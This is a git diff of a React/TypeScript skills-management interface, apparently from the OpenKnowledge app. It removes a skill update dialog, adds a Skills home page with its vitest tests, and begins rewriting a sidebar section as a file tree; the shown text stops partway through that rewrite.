diff --git a/packages/app/src/components/SkillUpdateDialog.tsx b/packages/app/src/components/SkillUpdateDialog.tsx
deleted file mode 100644
index 161db2860..000000000
--- a/packages/app/src/components/SkillUpdateDialog.tsx
+++ /dev/null
@@ -1,102 +0,0 @@
-/**
- * SkillUpdateDialog — confirm refreshing a starter-pack skill from OK's bundled
- * source. The update REPLACES the current content; the server checkpoints the
- * doc first, so the pre-update version is recoverable from version history. The
- * confirmation names both (replaces edits / restorable) so the choice is informed.
- */
-import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
-import { Trans, useLingui } from '@lingui/react/macro';
-import { useState } from 'react';
-import { toast } from 'sonner';
-import { Button } from '@/components/ui/button';
-import {
- DialogBody,
- DialogClose,
- DialogContent,
- DialogDescription,
- DialogFooter,
- DialogHeader,
- Dialog as DialogRoot,
- DialogTitle,
-} from '@/components/ui/dialog';
-import { skillDisplayName } from '@/lib/skill-scope';
-import { updatePackSkill } from '@/lib/skills-api';
-
-interface Props {
- /** The pack skill to update; `null` keeps the dialog closed. */
- skill: SkillsListEntry | null;
- onOpenChange: (open: boolean) => void;
- /** Called after a successful update so the parent re-fetches. */
- onUpdated: () => void;
-}
-
-export function SkillUpdateDialog({ skill, onOpenChange, onUpdated }: Props) {
- const { t } = useLingui();
- const [updating, setUpdating] = useState(false);
-
- async function handleUpdate(target: SkillsListEntry) {
- setUpdating(true);
- const result = await updatePackSkill({ scope: target.scope, name: target.name });
- setUpdating(false);
- const display = skillDisplayName(target.name);
- if (!result.ok) {
- toast.error(t`Couldn't update skill: ${result.error}`);
- return;
- }
- // The pre-update content is checkpointed server-side — name the restore path
- // so a user who didn't mean to lose edits knows where to recover them.
- toast.success(
- result.checkpointRef
- ? t`Updated "${display}" to ${result.version} — your previous version is in history if you need to restore it.`
- : t`Updated "${display}" to ${result.version}.`,
- );
- onUpdated();
- onOpenChange(false);
- }
-
- return (
- <DialogRoot
- open={skill !== null}
- onOpenChange={(open) => {
- if (!open && !updating) onOpenChange(false);
- }}
- >
- {skill ? (
- <DialogContent className="sm:max-w-lg">
- <DialogHeader>
- <DialogTitle>
- <Trans>Update "{skillDisplayName(skill.name)}"?</Trans>
- </DialogTitle>
- <DialogDescription>
- {skill.installedVersion ? (
- <Trans>
- This replaces the current skill content with the bundled version{' '}
- {skill.bundledVersion ?? ''} (you have {skill.installedVersion}). Any local edits
- will be replaced — your current version is saved to history first, so you can
- restore it.
- </Trans>
- ) : (
- <Trans>
- This replaces the current skill content with the bundled version{' '}
- {skill.bundledVersion ?? ''}. Any local edits will be replaced — your current
- version is saved to history first, so you can restore it.
- </Trans>
- )}
- </DialogDescription>
- </DialogHeader>
- <DialogBody />
- <DialogFooter>
- <DialogClose asChild>
- <Button variant="outline" disabled={updating}>
- <Trans>Cancel</Trans>
- </Button>
- </DialogClose>
- <Button onClick={() => void handleUpdate(skill)} disabled={updating}>
- {updating ? <Trans>Updating</Trans> : <Trans>Update</Trans>}
- </Button>
- </DialogFooter>
- </DialogContent>
- ) : null}
- </DialogRoot>
- );
-}
diff --git a/packages/app/src/components/SkillsBasePage.dom.test.tsx b/packages/app/src/components/SkillsBasePage.dom.test.tsx
new file mode 100644
index 000000000..45af5884f
--- /dev/null
+++ b/packages/app/src/components/SkillsBasePage.dom.test.tsx
@@ -0,0 +1,183 @@
+/**
+ * `SkillsBasePage` is the Skills home. These tests pin its own wiring: the shared
+ * empty-state header + create composer (with the `skill` scenario), the three add
+ * actions and where each one lands, the popular shelf's three states, and the two
+ * conditions that remove the composer. The heavy children (the composer, the lazy
+ * modal) are stubbed, as is the popular-skills query — the page's job is deciding
+ * what renders, not fetching.
+ *
+ * Runs under `bun run test:dom` (jsdom). `<Trans>` resolves against the global
+ * i18n activated by `tests/lingui-macro-preload.ts`.
+ */
+
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
+
+// The shared composer: a stub that surfaces the scenario so we can assert the
+// Skills home hands it the `skill` framing (author via open-knowledge-write-skill).
+vi.doMock('@/components/empty-state/CreatePromptComposer', () => ({
+ CreatePromptComposer: ({ scenario }: { scenario: string }) => (
+ <div data-testid="create-composer" data-scenario={scenario} />
+ ),
+}));
+vi.doMock('@/components/ImportSkillDialog', () => ({
+ ImportSkillDialog: ({ open, defaultTab }: { open: boolean; defaultTab?: string }) =>
+ open ? <div data-testid="import-skill-modal" data-tab={defaultTab} /> : null,
+}));
+let embedded = false;
+vi.doMock('@/hooks/use-is-embedded', () => ({ useIsEmbedded: () => embedded }));
+// Project skills drive the "Added" badge via `findImportedSkill`; empty by default.
+let projectSkills: unknown[] = [];
+vi.doMock('@/hooks/use-skills', () => ({
+ useSkills: () => ({ status: 'ready', data: projectSkills }),
+}));
+// `useOpenSkill` reads `useDocumentContext` at render, so stub it (the page isn't
+// wrapped in a DocumentProvider here — we're testing its own wiring, not nav).
+vi.doMock('@/hooks/use-open-skill', () => ({ useOpenSkill: () => () => {} }));
+const createBlank = vi.fn(async () => {});
+vi.doMock('@/hooks/use-create-blank-skill', () => ({
+ useCreateBlankSkill: () => ({ createBlank, creating: false }),
+}));
+// The shared react-query hook, stubbed so each test drives the shelf's state
+// directly rather than through a QueryClientProvider.
+let popularState: { skills: unknown[]; isPending: boolean; failed: boolean } = {
+ skills: [],
+ isPending: false,
+ failed: false,
+};
+vi.doMock('@/hooks/use-popular-skills', () => ({ usePopularSkills: () => popularState }));
+
+const { SkillsBasePage } = await import('./SkillsBasePage.tsx');
+
+/** A skills.sh discovery result, shaped as `/api/skills/popular` returns them. */
+function popularResult(n: number) {
+ return {
+ id: `r${n}`,
+ name: `skill-${n}`,
+ description: `Does thing ${n}.`,
+ source: `owner/skill-${n}`,
+ publisher: 'owner',
+ installs: 1200,
+ };
+}
+
+function loaded(count: number) {
+ return {
+ skills: Array.from({ length: count }, (_, i) => popularResult(i)),
+ isPending: false,
+ failed: false,
+ };
+}
+
+describe('SkillsBasePage', () => {
+ beforeEach(() => {
+ createBlank.mockClear();
+ embedded = false;
+ projectSkills = [];
+ popularState = { skills: [], isPending: false, failed: false };
+ });
+ afterEach(cleanup);
+
+ test('reuses the shared header + composer (skill scenario) and the three add actions', () => {
+ render(<SkillsBasePage />);
+ expect(screen.getByRole('heading', { name: 'Create a skill.' })).not.toBeNull();
+ expect(screen.getByTestId('create-composer').getAttribute('data-scenario')).toBe('skill');
+ expect(screen.getByTestId('skill-source-upload')).not.toBeNull();
+ expect(screen.getByTestId('skill-source-new')).not.toBeNull();
+ expect(screen.getByTestId('skill-source-skills-sh')).not.toBeNull();
+ });
+
+ test.each([
+ ['skill-source-skills-sh', 'skills-sh'],
+ ['skill-source-upload', 'upload'],
+ ])('%s opens the add-skill modal on the %s tab', async (testId, expectedTab) => {
+ render(<SkillsBasePage />);
+ expect(screen.queryByTestId('import-skill-modal')).toBeNull();
+ fireEvent.click(screen.getByTestId(testId));
+ await waitFor(() => expect(screen.getByTestId('import-skill-modal')).not.toBeNull());
+ expect(screen.getByTestId('import-skill-modal').getAttribute('data-tab')).toBe(expectedTab);
+ });
+
+ test('Browse all in the shelf header opens the Explore tab too', async () => {
+ popularState = loaded(2);
+ render(<SkillsBasePage />);
+ fireEvent.click(screen.getByTestId('skill-popular-browse-all'));
+ await waitFor(() => expect(screen.getByTestId('import-skill-modal')).not.toBeNull());
+ expect(screen.getByTestId('import-skill-modal').getAttribute('data-tab')).toBe('skills-sh');
+ });
+
+ test('New from scratch direct-creates a blank skill (no modal)', () => {
+ render(<SkillsBasePage />);
+ fireEvent.click(screen.getByTestId('skill-source-new'));
+ expect(createBlank).toHaveBeenCalledTimes(1);
+ expect(screen.queryByTestId('import-skill-modal')).toBeNull();
+ });
+
+ test('renders at most six popular skills through the shared directory card', () => {
+ popularState = loaded(12);
+ render(<SkillsBasePage />);
+ expect(screen.getAllByRole('listitem')).toHaveLength(6);
+ expect(screen.getByText('skill-0')).not.toBeNull();
+ expect(screen.queryByText('skill-6')).toBeNull();
+ });
+
+ // Option-3 guarantee: a skills.sh outage takes the shelf but never the page's
+ // path into the directory.
+ test('hides the shelf when skills.sh returns nothing but keeps Browse skills.sh', () => {
+ popularState = { skills: [], isPending: false, failed: true };
+ render(<SkillsBasePage />);
+ expect(screen.queryByTestId('skills-popular')).toBeNull();
+ expect(screen.getByTestId('skill-source-skills-sh')).not.toBeNull();
+ expect(screen.getByTestId('skill-source-upload')).not.toBeNull();
+ });
+
+ // Browse all is the only focusable control inside a section that disappears on
+ // a failed fetch, so it must not exist until the cards do — otherwise a
+ // keyboard user on it when the failure lands has focus dropped to the body.
+ test('withholds Browse all while the fetch is pending, then shows it', () => {
+ popularState = { skills: [], isPending: true, failed: false };
+ const { unmount } = render(<SkillsBasePage />);
+ expect(screen.getByTestId('skills-popular')).not.toBeNull();
+ expect(screen.queryByTestId('skill-popular-browse-all')).toBeNull();
+ unmount();
+
+ popularState = loaded(2);
+ render(<SkillsBasePage />);
+ expect(screen.getByTestId('skill-popular-browse-all')).not.toBeNull();
+ });
+
+ test('marks an already-imported skill as Added', () => {
+ popularState = loaded(1);
+ projectSkills = [{ name: 'skill-0', scope: 'project', origin: { source: 'owner/skill-0' } }];
+ render(<SkillsBasePage />);
+ expect(screen.getByText('Added')).not.toBeNull();
+ });
+
+ test('still resolves Added through a collision rename', () => {
+ popularState = loaded(1);
+ projectSkills = [
+ { name: 'skill-0-imported-2', scope: 'project', origin: { source: 'owner/skill-0' } },
+ ];
+ render(<SkillsBasePage />);
+ expect(screen.getByText('Added')).not.toBeNull();
+ });
+
+ // Both conditions that remove the composer: an open sessions dock already
+ // carries a dispatch affordance, and embedded OK would loop the handoff back.
+ test.each([
+ ['an open sessions dock', () => render(<SkillsBasePage sessionsDockOpen />)],
+ [
+ 'embedded OK',
+ () => {
+ embedded = true;
+ return render(<SkillsBasePage />);
+ },
+ ],
+ ])('drops the composer for %s while keeping the add actions', (_label, doRender) => {
+ doRender();
+ expect(screen.queryByTestId('create-composer')).toBeNull();
+ expect(screen.getByTestId('skill-source-upload')).not.toBeNull();
+ expect(screen.getByTestId('skill-source-new')).not.toBeNull();
+ expect(screen.getByTestId('skill-source-skills-sh')).not.toBeNull();
+ });
+});
diff --git a/packages/app/src/components/SkillsBasePage.tsx b/packages/app/src/components/SkillsBasePage.tsx
new file mode 100644
index 000000000..5064a6793
--- /dev/null
+++ b/packages/app/src/components/SkillsBasePage.tsx
@@ -0,0 +1,221 @@
+import { Trans, useLingui } from '@lingui/react/macro';
+import { ArrowRight, Compass, FilePlus2, Upload } from 'lucide-react';
+import { lazy, Suspense, useState } from 'react';
+import { CreatePromptComposer } from '@/components/empty-state/CreatePromptComposer';
+import { EmptyStateHeader } from '@/components/empty-state/EmptyStateHeader';
+import type { AddSkillTab } from '@/components/ImportSkillDialog';
+import { SkillDirectoryResult } from '@/components/SkillDirectoryResult';
+import { Button } from '@/components/ui/button';
+import { Skeleton } from '@/components/ui/skeleton';
+import { useCreateBlankSkill } from '@/hooks/use-create-blank-skill';
+import { useIsEmbedded } from '@/hooks/use-is-embedded';
+import { useOpenSkill } from '@/hooks/use-open-skill';
+import { usePopularSkills } from '@/hooks/use-popular-skills';
+import { useSkillDirectory } from '@/hooks/use-skill-directory';
+
+// Lazy so the add-skill modal (skills.sh search, upload, and the new-skill form
+// + their skills-api) stays out of the base-page bundle — it loads on first open.
+const ImportSkillDialog = lazy(() =>
+ import('@/components/ImportSkillDialog').then((m) => ({ default: m.ImportSkillDialog })),
+);
+
+/** How many popular skills the home shows before "Browse all" takes over. Three
+ * rows of two at full width; `/api/skills/popular` returns more than this. */
+const POPULAR_LIMIT = 6;
+
+const POPULAR_SKELETON_KEYS = ['p1', 'p2', 'p3', 'p4', 'p5', 'p6'];
+
+interface SkillsBasePageProps {
+ /** Whether the sessions dock (in-app agent thread, agent CLI, or bare shell) is
+ * open. `EditorArea` derives it from the same `terminalVisible` flag that gates
+ * `EmptyEditorState`'s composer — the name is legacy, the flag covers all three
+ * session kinds. */
+ readonly sessionsDockOpen?: boolean;
+}
+
+/**
+ * The Skills destination — the full-pane view behind the synthetic `skills` tab
+ * kind (see `navigation-targets`). Reads top-down as one decision: describe the
+ * skill you want and an agent authors it (the shared `CreatePromptComposer` with
+ * the `skill` scenario, which hands off via the built-in
+ * `open-knowledge-write-skill` skill), or bring one you already have — Upload
+ * and New from scratch sit directly under the input as quiet text actions.
+ *
+ * Below that, the top skills.sh skills render through the SAME
+ * `SkillDirectoryResult` card the Explore modal uses, so a skill looks and
+ * behaves identically here and there: clicking one opens its read-only preview
+ * (where Install lives), and one already in the project shows "Added" and opens
+ * its real doc.
+ *
+ * Two things remove the composer: `useIsEmbedded` (inside a host agent the handoff
+ * would loop back) and an open sessions dock (the agent thread or CLI in it is
+ * already a dispatch affordance, so a second one competes with it — the same
+ * reason `EmptyEditorState` drops its composer for a docked terminal). Nothing
+ * else changes in either case; the add actions below keep their quiet treatment
+ * so the row looks the same everywhere.
+ *
+ * The installed skills themselves live in the sidebar Skills navigator.
+ */
+export function SkillsBasePage({ sessionsDockOpen = false }: SkillsBasePageProps) {
+ const { t } = useLingui();
+ const isEmbedded = useIsEmbedded();
+ const composerHidden = isEmbedded || sessionsDockOpen;
+
+ // Which add-skill tab the modal opens on; `null` means closed. Tracking the
+ // tab (not a bare boolean) lets each entry point deep-link into its pane, and
+ // because the modal unmounts when closed, every open remounts Radix Tabs with
+ // the right `defaultValue`.
+ const [addTab, setAddTab] = useState<AddSkillTab | null>(null);
+
+ const openSkill = useOpenSkill();
+ const { createBlank } = useCreateBlankSkill();
+ const { importedEntry, openResult } = useSkillDirectory({ scope: 'project' });
+
+ // Shared with the Explore modal's blank state, so opening the modal over this
+ // page reuses the cached list instead of refetching.
+ const { skills: allPopular, isPending: popularPending } = usePopularSkills();
+ const popular = allPopular.slice(0, POPULAR_LIMIT);
+ // A failed or empty upstream list hides the shelf rather than stranding a
+ // header over nothing. `Browse skills.sh` below is deliberately outside this
+ // section, so an outage never removes the path into the directory.
+ const showPopular = popularPending || popular.length > 0;
+
+ return (
+ <div className="flex h-full min-h-0 flex-col items-center overflow-auto subtle-scrollbar p-10">
+ <div className="my-auto w-full max-w-4xl space-y-6">
+ {/* Reuse the home page's modular header (Blobby + title/subtitle) so the
+ Skills home reads as the same surface, not a bespoke one. The subtitle
+ folds in the day-zero value prop — someone landing here with skills
+ already in their editors needs to know what OK adds — so it sits with
+ the pitch instead of a disconnected footer line. */}
+ <EmptyStateHeader
+ title={t`Create a skill.`}
+ subtitle={t`Describe what it should do, or add one yourself. OpenKnowledge keeps your skills in one place, versions them, and installs them into agents like Claude, Codex, and Cursor.`}
+ celebrateSignal={0}
+ />
+
+ <div className="flex flex-col gap-2">
+ {composerHidden ? null : <CreatePromptComposer scenario="skill" />}
+
+ {/* The non-AI paths, deliberately quiet in every state: they're
+ alternatives to the composer, not competing calls to action, so they
+ read as text actions rather than the cards they replaced. They stay
+ quiet even with the composer hidden — a weighted button here would
+ compete with whatever replaced it (an open agent thread), and one
+ promoted button beside two ghosts reads as inconsistency rather than
+ hierarchy at this size and spacing. */}
+ <div className="flex flex-wrap items-center gap-1">
+ <Button
+ type="button"
+ variant="ghost"
+ size="sm"
+ onClick={() => setAddTab('upload')}
+ data-testid="skill-source-upload"
+ className="gap-1.5 font-normal text-muted-foreground hover:text-foreground"
+ >
+ <Upload aria-hidden="true" className="size-3.5" />
+ <Trans>Upload a skill</Trans>
+ </Button>
+ <Button
+ type="button"
+ variant="ghost"
+ size="sm"
+ onClick={() => void createBlank('project')}
+ data-testid="skill-source-new"
+ className="gap-1.5 font-normal text-muted-foreground hover:text-foreground"
+ >
+ <FilePlus2 aria-hidden="true" className="size-3.5" />
+ <Trans>New from scratch</Trans>
+ </Button>
+ {/* Lives here rather than only in the shelf header below so a
+ skills.sh outage — which hides the shelf — never takes the
+ page's path into the directory with it. */}
+ <Button
+ type="button"
+ variant="ghost"
+ size="sm"
+ onClick={() => setAddTab('skills-sh')}
+ data-testid="skill-source-skills-sh"
+ className="gap-1.5 font-normal text-muted-foreground hover:text-foreground"
+ >
+ <Compass aria-hidden="true" className="size-3.5" />
+ <Trans>Browse skills.sh</Trans>
+ </Button>
+ </div>
+ </div>
+
+ {showPopular ? (
+ <section className="flex flex-col gap-3" data-testid="skills-popular">
+ {/* Section label matching the empty-state's starter-pack / template
+ headers (mono, uppercase, muted), with Browse all trailing it on
+ the same rule. Browse all renders only once the cards do: it is
+ the one focusable control inside a section that disappears on a
+ failed fetch, and a keyboard user sitting on it while that landed
+ would have focus dropped to the body. The label holds the row's
+ height either way, so nothing shifts when it arrives. */}
+ <div className="flex items-center justify-between gap-3">
+ <h3 className="font-mono text-2xs uppercase tracking-wider text-muted-foreground">
+ <Trans>Popular on skills.sh</Trans>
+ </h3>
+ {popularPending ? null : (
+ <Button
+ type="button"
+ variant="ghost"
+ size="sm"
+ onClick={() => setAddTab('skills-sh')}
+ data-testid="skill-popular-browse-all"
+ className="h-auto gap-1 py-0.5 font-mono text-2xs uppercase tracking-wider text-muted-foreground hover:text-foreground"
+ >
+ <Trans>Browse all</Trans>
+ <ArrowRight aria-hidden="true" className="size-3" />
+ </Button>
+ )}
+ </div>
+ {popularPending ? (
+ <div aria-busy="true">
+ <span className="sr-only">
+ <Trans>Loading popular skills</Trans>
+ </span>
+ {/* `h-18` matches a real row's resting height (avatar + name +
+ meta), so the grid doesn't jump when results land. */}
+ <ul className="grid grid-cols-1 gap-2.5 sm:grid-cols-2" aria-hidden>
+ {POPULAR_SKELETON_KEYS.map((k) => (
+ <Skeleton key={k} className="h-18 rounded-xl" />
+ ))}
+ </ul>
+ </div>
+ ) : (
+ <ul className="grid grid-cols-1 gap-2.5 sm:grid-cols-2">
+ {popular.map((r) => (
+ <SkillDirectoryResult
+ key={r.id}
+ result={r}
+ imported={importedEntry(r)}
+ onOpen={() => openResult(r)}
+ />
+ ))}
+ </ul>
+ )}
+ </section>
+ ) : null}
+ </div>
+
+ {addTab !== null ? (
+ <Suspense fallback={null}>
+ <ImportSkillDialog
+ defaultScope="project"
+ defaultTab={addTab}
+ open
+ onOpenChange={(open) => {
+ if (!open) setAddTab(null);
+ }}
+ onImported={({ scope, name }) => {
+ setAddTab(null);
+ openSkill(scope, name);
+ }}
+ />
+ </Suspense>
+ ) : null}
+ </div>
+ );
+}
diff --git a/packages/app/src/components/SkillsSidebarSection.tsx b/packages/app/src/components/SkillsSidebarSection.tsx
index 6aea158af..d94929d0c 100644
--- a/packages/app/src/components/SkillsSidebarSection.tsx
+++ b/packages/app/src/components/SkillsSidebarSection.tsx
@@ -1,504 +1,1349 @@
-import type { SkillsListEntry } from '@inkeep/open-knowledge-core';
-import { Trans, useLingui } from '@lingui/react/macro';
import {
- ChevronRight,
- FileCode,
- FileText,
- Hexagon,
- Lock,
- MoreHorizontal,
- Plus,
- RefreshCw,
-} from 'lucide-react';
-import { useEffect, useState } from 'react';
+ type CatalogSkill,
+ catalogRawScopeToOkScope,
+ externalSkillLiveDocName,
+ type SkillScope,
+ type SkillsListEntry,
+} from '@inkeep/open-knowledge-core';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { FILE_TREE_TAG_NAME, type FileTreeSortComparator } from '@pierre/trees';
+import { useFileTree } from '@pierre/trees/react';
+import { Compass, Loader2, Sparkles, SquarePen, Upload } from 'lucide-react';
+import { __iconNode as lockIcon } from 'lucide-react/dist/esm/icons/lock';
+import { __iconNode as packageIcon } from 'lucide-react/dist/esm/icons/package';
+import { useTheme } from 'next-themes';
+import { lazy, type ReactNode, Suspense, useEffect, useRef, useState } from 'react';
import { toast } from 'sonner';
+import { AgentBrandIcon } from '@/components/AgentIconCluster';
+import { createFileTreeStyle } from '@/components/file-tree-density';
+import {
+ buildOkFileTreeOptions,
+ createLucideSpriteSymbol,
+ OK_FILE_TREE_READONLY_UNSAFE_CSS,
+} from '@/components/file-tree-shared';
+import type { AddSkillTab } from '@/components/ImportSkillDialog';
import { NewSkillDialog } from '@/components/NewSkillDialog';
-import { SkillStateBadge } from '@/components/SkillStateBadge';
+import { OkFileTree } from '@/components/OkFileTree';
+import {
+ INSTALL_EDITORS,
+ SKILL_INSTALL_MENU_WIDTH,
+ SkillInstallMenuItems,
+ useSkillHostToggles,
+} from '@/components/SkillInstallMenu';
import {
type SkillActions,
SkillContextMenuItems,
+ SkillFileContextMenuItems,
useSkillActions,
} from '@/components/skill-actions';
+import {
+ applyInstallClusters,
+ HOST_POOL_KEY_ATTR,
+ installPillFromEvent,
+ type RowInstallDecor,
+ SKILL_INSTALL_CLUSTER_CSS,
+} from '@/components/skill-install-cluster';
import { Button } from '@/components/ui/button';
-import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '@/components/ui/collapsible';
import {
DropdownMenu,
DropdownMenuContent,
+ DropdownMenuItem,
+ DropdownMenuLabel,
+ DropdownMenuSeparator,
DropdownMenuTrigger,
} from '@/components/ui/dropdown-menu';
-import {
- SidebarGroup,
- SidebarGroupAction,
- SidebarGroupContent,
- SidebarGroupLabel,
- SidebarMenu,
- SidebarMenuAction,
- SidebarMenuButton,
- SidebarMenuItem,
- SidebarMenuSub,
- SidebarMenuSubButton,
- SidebarMenuSubItem,
-} from '@/components/ui/sidebar';
+import { SidebarGroup, SidebarGroupContent } from '@/components/ui/sidebar';
+import { asDirectoryHandle } from '@/components/use-selection-mirror';
import { useDocumentContext } from '@/editor/DocumentContext';
+import { findLocalSkillPreviewTabId } from '@/editor/editor-tabs';
+import { useCreateBlankSkill } from '@/hooks/use-create-blank-skill';
+import { useOpenSkill } from '@/hooks/use-open-skill';
+import { useOpenSkillForEdit } from '@/hooks/use-open-skill-for-edit';
import { useSkills } from '@/hooks/use-skills';
-import { hashFromDocName, hashFromSkillFile, pushHashWithoutNavigation } from '@/lib/doc-hash';
-import { subscribeToSkillsChanged } from '@/lib/documents-events';
import {
- projectSkillContentDocName,
- projectSkillFilePath,
- skillLiveDocName,
-} from '@/lib/managed-artifact-doc-name';
-import { openManagedArtifactTab } from '@/lib/open-managed-artifact-tab';
+ hashFromDocName,
+ hashFromSkillFile,
+ hashFromSkillPreview,
+ pushHashWithoutNavigation,
+ type SkillPreviewHashTarget,
+} from '@/lib/doc-hash';
+import { subscribeToSkillsChanged } from '@/lib/documents-events';
+import { skillEntryFileLiveDocName, skillEntryLiveDocName } from '@/lib/managed-artifact-doc-name';
import {
SKILL_SCOPE_ORDER,
+ skillClusterHosts,
skillDisplayName,
+ skillEntryDirs,
+ skillHostRootDir,
skillNameSetsByScope,
+ tildeHomePath,
+ useSkillScopeDescriptions,
useSkillScopeLabels,
} from '@/lib/skill-scope';
+import { createSkillSortComparator, SKILL_MD_PATH } from '@/lib/skill-sort';
import {
+ fetchSkillPreview,
getSkillBundledFiles,
- getSkillsManagement,
+ listDetectedSkills,
type SkillBundledFile,
- setSkillsManagement,
} from '@/lib/skills-api';
+// Lazy-load the full add-skill modal (skills.sh search + upload + new skill) —
+// the SAME dialog the Skills empty state opens — so its weight stays out of the
+// always-mounted sidebar bundle and loads only on first open.
+const ImportSkillDialog = lazy(() =>
+ import('@/components/ImportSkillDialog').then((m) => ({ default: m.ImportSkillDialog })),
+);
+
+/** A skill dir is the parent of its `SKILL.md`; the detected preview reads it as a local source. */
+function skillDir(skillMdPath: string): string {
+ const i = skillMdPath.lastIndexOf('/');
+ return i > 0 ? skillMdPath.slice(0, i) : skillMdPath;
+}
+
+// OK's own core product skills — managing them with OK is circular, so they
+// never show as "Detected". Its shipped *packs* (`open-knowledge-pack-*`) are
+// fair game to adopt, so they are NOT excluded.
+const OK_OWN_SKILLS = new Set([
+ 'open-knowledge',
+ 'open-knowledge-discovery',
+ 'open-knowledge-write-skill',
+]);
+
+// A scope with ZERO skills renders no child, and Pierre drops a childless
+// directory from the visible tree — so the GLOBAL / PROJECT header would vanish
+// and the sibling scope slides to the top (breaks "project always first" when the
+// project has no skills). Give an empty scope ONE sentinel child so its folder +
+// header always render in SKILL_SCOPE_ORDER. The sentinel row is display:none'd
+// (SKILLS_TREE_CSS) and every row handler skips it (skillFor/detectedFor return
+// undefined for it). Underscores can't appear in a real skill name (SKILL_NAME_REGEX),
+// so it can't collide. Works WITH `flattenEmptyDirectories: false` — that keeps the
+// resulting single-child folder from collapsing back into the sentinel.
+const EMPTY_SCOPE_SENTINEL = '__ok_empty_scope__';
+
+// Built-in skills are locked (bundled, read-only) — a lock glyph on the row is
+// the "you can't edit this" signal, in place of a state badge. Registered as a
+// sprite symbol the same way FileTree's link/agent decoration icons are.
+const BUILTIN_LOCK_ICON_ID = 'ok-skills-builtin-lock-decoration';
+// Plugin-cache residents get a package glyph — same "you can't edit this here"
+// signal as the built-in lock, with the way out in the tooltip.
+const PLUGIN_PACKAGE_ICON_ID = 'ok-skills-plugin-package-decoration';
+const SKILLS_DECORATION_EXTRA_SYMBOLS =
+ createLucideSpriteSymbol(BUILTIN_LOCK_ICON_ID, lockIcon) +
+ createLucideSpriteSymbol(PLUGIN_PACKAGE_ICON_ID, packageIcon);
+
+// Per-tree CSS (Pierre `unsafeCSS`):
+// - Installed/Draft/Detected decoration badge: ~11px, right-aligned, never truncates.
+// - Focus ring only on the SELECTED (open) row, not a merely-focused one.
+// - Scope rows (top-level = aria-level 1): hidden folder icon + uppercase muted
+// text, so GLOBAL / PROJECT read as section labels rather than plain folders.
+const SKILLS_TREE_CSS = `
+ [data-item-section='decoration'] { flex: 1 0 auto; }
+ [data-item-section='decoration'] > span { max-width: none; font-size: 0.6875rem; }
+ [data-item-focused='true']:not([data-item-selected='true'])::before {
+ outline-color: transparent;
+ }
+ /* Never mid-word-break a skill name — long names truncate with an ellipsis
+ instead of wrapping into hyphenless fragments. */
+ [data-item-section='content'] {
+ white-space: nowrap;
+ overflow: hidden;
+ text-overflow: ellipsis;
+ word-break: normal;
+ }
+ /* Keep the icon section: for a folder it IS the disclosure chevron (rotates
+ open/closed) — the collapse affordance for GLOBAL / PROJECT. */
+ [aria-level='1'] [data-item-section='content'] {
+ text-transform: uppercase;
+ letter-spacing: 0.04em;
+ font-size: 0.75rem;
+ font-family: var(--font-mono);
+ /* Deliberately darker than the chevron's --trees-fg-muted: the label is
+ read, the twisty is only an affordance. Own declaration, so it also
+ survives the selected-state !important on the row below. */
+ color: var(--muted-foreground);
+ }
+ /* The disclosure chevron otherwise tints to Pierre's primary selected-fg when
+ the scope row is focused/selected — pin it muted in every state. */
+ [aria-level='1'] [data-item-section='icon'] { color: var(--trees-fg-muted) !important; }
+ /* Scope rows only expand — Pierre still selects them on click, but they must
+ never look selected: kill the selection background, the primary text/twisty
+ color, and the focus ring. (!important beats Pierre's selected-state rules.) */
+ [aria-level='1'][data-item-selected='true'] {
+ background-color: transparent !important;
+ color: var(--trees-fg-muted) !important;
+ }
+ [aria-level='1']::before { outline: none !important; }
+ /* Empty-scope sentinel child: structural only (forces the scope folder to
+ render); never shown to the user. */
+ [data-item-path$='/${EMPTY_SCOPE_SENTINEL}'] { display: none !important; }
+`;
+
+/** A tree path `<ScopeLabel>/<skillDisplay>/<sub…>` split into its parts. */
+interface TreeNode {
+ scopeLabel: string;
+ /** undefined = the scope row itself (top level). */
+ skillDisplay: string | undefined;
+ /** path within the skill (SKILL.md, references/x, …); null = the skill folder. */
+ sub: string | null;
+ isDir: boolean;
+}
+
+function parseTreePath(treePath: string): TreeNode {
+ const isDir = treePath.endsWith('/');
+ const clean = isDir ? treePath.slice(0, -1) : treePath;
+ const parts = clean.split('/');
+ return {
+ scopeLabel: parts[0] ?? '',
+ skillDisplay: parts.length >= 2 ? parts[1] : undefined,
+ sub: parts.length >= 3 ? parts.slice(2).join('/') : null,
+ isDir,
+ };
+}
+
/**
- * "Skills" section of the file sidebar — a skill is a FOLDER, browsable like the
- * file tree above it: expand a skill to see everything it ships nested inside
- * (`SKILL.md` + `scripts/` + `reference/` + assets). `SKILL.md` opens the skill
- * editor (the same pipeline documents use); any other file reveals its text
- * read-only in place (scripts are shown as text, never executed). Grouped by
- * scope; built-in skills are intentionally not listed. Settings → Skills remains
- * for config (which editors to install into).
+ * "Skills" section of the file sidebar — ONE `<OkFileTree>` (the same Pierre
+ * component as the main file tree). GLOBAL / PROJECT are top-level folder rows
+ * (styled as muted uppercase labels via `SKILLS_TREE_CSS`); each scope's skills
+ * nest under it. A scope holds this project's skills (store + in-place)
+ * and skills OK detected in your other tools (editable in place). A single tree
+ * means Pierre's native single-select "just works". `SKILL.md` opens the editor;
+ * a detected row opens its editable in-place buffer.
*/
-export function SkillsSidebarSection() {
- const { t } = useLingui();
+export function SkillsSidebarSection({ skillsMode = false }: { skillsMode?: boolean } = {}) {
const state = useSkills();
- const { activeDocName } = useDocumentContext();
- const [newSkillOpen, setNewSkillOpen] = useState(false);
- // Same install/uninstall/delete/history flow + dialogs the Settings list uses.
+ const { openTarget, activeDocName, activeTarget, openTabs, activateTab, setSkillsSidebar } =
+ useDocumentContext();
+ /**
+ * Opening from the Skills tree KEEPS you in Skills. Surface follows the target
+ * only for navigation that carries no surface intent (a deep link, the
+ * palette); a click on a row in this tree carries plenty. Must run AFTER the
+ * open — committing a new tab re-arms autofollow, and this is the pin that
+ * overrides it.
+ */
+ const stayInSkills = () => setSkillsSidebar(true);
+ const openSkill = useOpenSkill();
+ const openSkillForEdit = useOpenSkillForEdit();
const actions = useSkillActions();
+ const { t } = useLingui();
+ const scopeLabel = useSkillScopeLabels();
+ const scopeDescription = useSkillScopeDescriptions();
const skills = state.status === 'ready' ? state.data : [];
const nameSets = skillNameSetsByScope(skills);
- const scopeLabel = useSkillScopeLabels();
